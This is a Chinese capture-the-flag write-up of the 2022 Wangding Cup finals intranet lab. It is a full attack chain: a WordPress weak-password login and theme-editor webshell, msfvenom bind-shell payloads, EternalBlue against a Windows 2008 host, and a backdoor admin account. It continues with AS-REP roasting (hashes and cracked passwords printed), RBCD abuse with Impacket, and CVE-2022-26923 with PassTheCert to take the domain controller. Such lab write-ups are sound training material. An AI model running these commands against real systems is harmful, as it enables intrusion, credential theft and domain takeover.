22网鼎半决

该靶场为2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4个flag,分布于不同的靶机。

tag

域渗透AD CS内网渗透WordpressKerberos

信息收集

先用fscan扫一下机器
./fscan.exe -h 39.98.116.144 -nobr

1
2
3
4
5
6
start infoscan
39.98.116.144:22 open
39.98.116.144:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.116.144 code:200 len:39988 title:XIAORANG.LAB

机器26

只有一个web服务,访问看看,发现是WordPress
先扫一下看看有没有漏洞
wpscan –url http://39.98.116.144
没什么收获
扫一下网站

http://39.99.151.78/wp-login
爆破弱口令密码

admin/123456
成功登录,搜索可利用的漏洞

后台Getshell方法
成功登录WordPress后台后,可以通过以下方式上传WebShell:
上传恶意插件:通过“添加新插件”功能上传包含反弹Shell的PHP文件。
利用主题编辑器:修改主题文件(如functions.php)插入恶意代码。
数据库写入Shell:通过SQL语句直接写入一句话木马到站点目录。

这里先尝试上传恶意插件
MSF创建木马
msfvenom -p php/meterpreter/bind_tcp RHOST=39.98.116.144 LPORT=12345 -f raw > msf.php

1
2
3
set payload php/meterpreter/bind_tcp 
set RHOST 39.98.116.144
set LPORT 12345

然后发现这个版本只能上传zip


换个方法修改主题文件
http://39.99.151.78/wp-admin/theme-editor.php?file=header.php&theme=twentytwentyone
写入一句话木马

蚁剑连接

拿到flag01
flag01: flag{86af3858-a2ee-4b84-91a9-1a149ef826c2}
然后stowaway连接挂代理
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.98.116.144:44444 -s 123
socks 12345
上传fscan扫描一下
ifconfig
./fscan -h 172.22.15.0/24 -nobr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
start ping
(icmp) Target 172.22.15.13 is alive
(icmp) Target 172.22.15.35 is alive
(icmp) Target 172.22.15.18 is alive
(icmp) Target 172.22.15.24 is alive
(icmp) Target 172.22.15.26 is alive
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.18:445 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.18:139 open
172.22.15.35:135 open
172.22.15.13:135 open
172.22.15.24:135 open
172.22.15.18:135 open
172.22.15.18:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.24:80 open
172.22.15.13:88 open
[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetInfo
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[*] NetInfo
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetBios 172.22.15.35 XIAORANG\XR-0687
[*] WebTitle http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[*] WebTitle http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] NetInfo
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[*] NetBios 172.22.15.13 [+] DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
已完成 18/18
[*] 扫描结束,耗时: 11.294838069s

172.22.15.13 域控
172.22.15.35 XR-0687
172.22.15.18 XR-CA
172.22.15.24 XR-WIN08
172.22.15.26 本机

机器24

[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
打永恒之蓝
这里先本地生成一个正向shell的64位后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4567 -f elf -o xx.elf
然后用蚁剑传到靶机的/tmp路径下,并赋予执行权限
配置msf
msfconsole

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 39.98.116.144
set lport 4567
run

然后打永恒之蓝,这里msf内置的流量转发大概率打不通,用stowaway的socks5代理
set proxies socks5:127.0.0.1:12345
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.15.24
exploit
成功获得shell
whoami
发现为system权限
读flag

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\Administrator\flag>type flag02.txt
type flag02.txt
__ _ ___ __
/ _| | / _ \/_ |
| |_| | __ _ __ _| | | || |
| _| |/ _` |/ _` | | | || |
| | | | (_| | (_| | |_| || |
|_| |_|\__,_|\__, |\___/ |_|
__/ |
|___/


flag02: flag{a94fa867-a9cb-42a3-ae71-eaa88ae83299}

看一下端口
netstat -ano
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 6156
发现rdp(远程连接端口3389)开放,注册用户进行登录
net user xianxin pass@123 /add
这里密码太简单可能会注册失败
net localgroup administrators xianxin /add
添加管理员权限组方便后续以管理员权限运行
在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.98.116.144:44445 -s 123
远程桌面报错,解决办法CredSSP加密数据库修正
在phpstudy里面找到mysql密码
root/root@#123
Navicat连接数据库
找到管理员admin密码,然后解密md5解密123456
导出OA列表将email的数据进行保存
当然还有另外一个路弱口令直接登录(但是不太好跑爆破,请求参数比较复杂,尝试爆破后还会10分钟限制登录)
http://172.22.15.24/www
admin/123456
http://172.22.15.24/www/team/index.php?m=user&f=colleague

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

GetNPUsers.py是Impacket工具包中的一个脚本,该脚本实现了将尝试为那些设置了属性“不需要Kerberos预身份验证”的用户获取TGT输出。TGT hash 包含用户密码,获取到之后直接用 JTR 或者 hashcat 破解即可。
proxychains impacket-GetNPUsers -dc-ip 172.22.15.13 -usersfile 2.txt xiaorang.lab/
获得两个用户的哈希
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:f1e75a6e47e7c990f482ea0f72e4a8ab$3effa12dc92eb2ffee25d3d70c9a7a6155cd271b0cd7baec27c27b6afdf2a56fb7db773aafe2f9259828be47e6a2c91c69500033c97475d0c48cbf7d9886b23e236013fb81d9819a00678c8f24ea6f5ae646806587377e8ab42f9d1d34bb37cf9b1afa0e427e0917032714abcc1c8b89057913ad187cc0aa37f9795dae528e4da32f3ff06ea143b656da443c60206e8c38ce32f2325c30e1d06f576c5fdaa7dbca7f6b3b4ffc890f25bb1aaaf7a2750501a2f7de289286933b787127417ef72f409d522617e99f0e5bc138d6efca449a20db3f93bd2751f109e7297a11a3b5c7c63dffaf3d7b65404842b72a
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:4804b1b0fb0c9cfae16ab191c2c89c3c$4ccc52fbc68d488e5032831cd26d09242ddc2c48e69152b39f0b9c77bd34f20c0aa7bdecae860d28be690fe68b01551820122ff97c6ac44d50dc7f06f66b909cb20432397035054cbc3d4a3adffca706c6f1e3837cecabd678874dc83d27d58791be27f40e33fd270251822d335d95028b897379ae7228f0f35f385578edb792d0758d5c96c63ee02507ac0918b5684c216d5db91863f8809b409a07c45f6c65a683b2e50f700480336c210c6803e10d730bdf1e6371589468eaf5ac308f83732a24b5ee84c86177aa9cc8cd7ac9cb92befdd685f0837664408e2bbba7b5fb528a6ce1be39a7d31101adbcc5
存到hash.txt用hashcat爆破一下
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:f1e75a6e47e7c990f482ea0f72e4a8ab$3effa12dc92eb2ffee25d3d70c9a7a6155cd271b0cd7baec27c27b6afdf2a56fb7db773aafe2f9259828be47e6a2c91c69500033c97475d0c48cbf7d9886b23e236013fb81d9819a00678c8f24ea6f5ae646806587377e8ab42f9d1d34bb37cf9b1afa0e427e0917032714abcc1c8b89057913ad187cc0aa37f9795dae528e4da32f3ff06ea143b656da443c60206e8c38ce32f2325c30e1d06f576c5fdaa7dbca7f6b3b4ffc890f25bb1aaaf7a2750501a2f7de289286933b787127417ef72f409d522617e99f0e5bc138d6efca449a20db3f93bd2751f109e7297a11a3b5c7c63dffaf3d7b65404842b72a:winniethepooh
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:4804b1b0fb0c9cfae16ab191c2c89c3c$4ccc52fbc68d488e5032831cd26d09242ddc2c48e69152b39f0b9c77bd34f20c0aa7bdecae860d28be690fe68b01551820122ff97c6ac44d50dc7f06f66b909cb20432397035054cbc3d4a3adffca706c6f1e3837cecabd678874dc83d27d58791be27f40e33fd270251822d335d95028b897379ae7228f0f35f385578edb792d0758d5c96c63ee02507ac0918b5684c216d5db91863f8809b409a07c45f6c65a683b2e50f700480336c210c6803e10d730bdf1e6371589468eaf5ac308f83732a24b5ee84c86177aa9cc8cd7ac9cb92befdd685f0837664408e2bbba7b5fb528a6ce1be39a7d31101adbcc5:1qaz2wsx
获得密码
尝试后发现可以远程登录机器35
然后本地生成一个正向shell的windows的64位后门
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5678 -f exe -o xx.exe
配置msf

1
2
3
4
5
6
route add 172.22.15.0/24 1
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.15.35
set lport 5678
run

尝试提权
getsystem
失败
尝试bloodhound分析
proxychains4 bloodhound-python -d xiaorang.lab -u lixiuying -p winniethepooh -gc XR-DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.15.13 --zip

参数:
-d 域名
-u 域用户
-p 密码
-gc 域控
-c 导出所有
–dns-tcp 强制使用TCP进行DNS查询
–zipc 导出为zip

然后在kali中启动bloodhound

1
2
neo4j start 
./BloodHound --no-sandbox

导入失败,版本不对,还是用sharphound吧
.\sharphound.exe -c all
导入后从lixiuying这个账号出发发现其与高价值目标XR-0687.XIAORANG.LAB(本机)有GenericWrite的权限。

ACL Abuse+RBCD提权
addcomputer.py 是 Impacket 工具中的一个脚本,用于在域中添加计算机账户。
proxychains4 impacket-addcomputer xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'xianxin$' -computer-pass 'pass@123'
rbcd.py 是 Impacket 工具中的脚本,用于滥用基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)
-action write:将委派权限写入目标机器 XR-0687。
-delegate-to ‘XR-0687:指定被委派的目标为 XR-0687。
-delegate-from ‘TEST:指定来源计算机账户为 TEST(在第一步中添加的账户)
proxychains4 impacket-rbcd xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'xianxin$'
getST.py 是 Impacket 中的脚本,用于获取服务票据(Service Ticket)
使用添加的计算机账户 TEST 的凭据 P@ssw0rd 访问目标服务。
-spn cifs/XR-0687.xiaorang.lab:请求服务主名称 (SPN) 为 cifs 的服务票据,目标为 XR-0687.xiaorang.lab。
-impersonate Administrator:请求以域管理员身份模拟(Impersonation)。
成功后,可以生成一个有效的 TGS(服务票据),用于访问目标服务。
proxychains4 impacket-getST xiaorang.lab/'xianxin$':'pass@123' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
导入票据
export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache
psexec.py 是 Impacket 中的一个脚本,基于 SMB 协议远程执行命令。
使用伪装管理员身份(获取的服务票据)登录目标主机 XR-0687.xiaorang.lab。
-k:使用 Kerberos 认证。
-no-pass:无需提供密码,因为使用的是 Kerberos 票据。
成功后,攻击者可以在目标主机上执行任意命令。
-codec gbk:强制编码设置为 gbk
proxychains4 impacket-psexec -k -no-pass -dc-ip 172.22.15.13 administrator@XR-0687.xiaorang.lab -codec gbk
连不过去
发现是/etc/hosts的问题,进行添加
172.22.15.35 XR-0687.xiaorang.lab
成功连接

1
2
3
4
5
6
7
8
C:\Users\Administrator\flag> type flag03.txt
__ _ __ ____
/ _| |__ _ __ _ / \__ /
| _| / _` / _` | () |_ \
|_| |_\__,_\__, |\__/___/
|___/

flag03: flag{85f1e9f3-8f15-4ab4-91a0-70ff52e5be41}

分析tag判断可能要打AD CS
proxychains certipy-ad find -u 'lixiuying@xiaorang.lab' -password 'winniethepooh' -dc-ip 172.22.15.13 -vulnerable -stdout 2>/dev/null
还是是/etc/hosts的问题,进行添加
172.22.15.18 XR-CA.xiaorang.lab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'xiaorang-XR-CA-CA' via CSRA
[!] Got error while trying to get CA configuration for 'xiaorang-XR-CA-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'xiaorang-XR-CA-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'xiaorang-XR-CA-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : xiaorang-XR-CA-CA
DNS Name : XR-CA.xiaorang.lab
Certificate Subject : CN=xiaorang-XR-CA-CA, DC=xiaorang, DC=lab
Certificate Serial Number : 3ECFB0112E93BE9041059FA6DBB3C35A
Certificate Validity Start : 2023-06-03 07:19:59+00:00
Certificate Validity End : 2028-06-03 07:29:58+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : XIAORANG.LAB\Administrators
Access Rights
ManageCertificates : XIAORANG.LAB\Administrators
XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
ManageCa : XIAORANG.LAB\Administrators
XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
Enroll : XIAORANG.LAB\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates : [!] Could not find any certificate templates

虽然扫出来有ESC8,但是有点麻烦,先试试CVE-2022-26923(ADCS提权漏洞)
创建机器账户,并把DNSHostname改为域控的DNSHostname
proxychains certipy-ad account create -username lixiuying@xiaorang.lab -password winniethepooh -target 172.22.15.13 -user machine1 -dns "XR-DC01.xiaorang.lab"

获取Machine账户证书
proxychains certipy-ad req -username machine1\$@xiaorang.lab -password yPoxAd0sEdcdSPOo -target 172.22.15.18 -ca xiaorang-XR-CA-CA -template Machine
可以发现已经变成域控的证书了

验证证书,拿到机器账户dc01的hash
proxychains certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
报错

1
2
3
[*] Using principal: xr-dc01$@xiaorang.lab
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

KDC_ERR_PADATA_TYPE_NOSUPP解决方法
原因为域控制器没有安装用于智能卡身份验证的证书
git clone https://github.com/AlmondOffSec/PassTheCert
将 pfx 文件导出为.key 和.crt:
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt
上脚本
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

将证书配置到域控的 RBCD
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'xianxin$'

然后跟上面类似申请 ST
proxychains4 impacket-getST xiaorang.lab/'xianxin$':'pass@123' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
导入票据
export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
psexec 连接拿到 flag04
proxychains4 impacket-psexec -k -no-pass -dc-ip 172.22.15.13 administrator@XR-DC01.xiaorang.lab -codec gbk
还是是/etc/hosts的问题,进行添加
172.22.15.13 XR-DC01.xiaorang.lab

1
2
3
4
5
6
7
8
9
10
C:\Users\Administrator\flag> type flag04.txt

:::===== ::: :::==== :::===== :::==== ::: ===
::: ::: ::: === ::: ::: === ::: ===
====== === ======== === ===== === === ========
=== === === === === === === === ===
=== ======== === === ======= ====== ===


flag04: flag{c80fb4ff-a104-4325-8f9b-592b9bb8e742}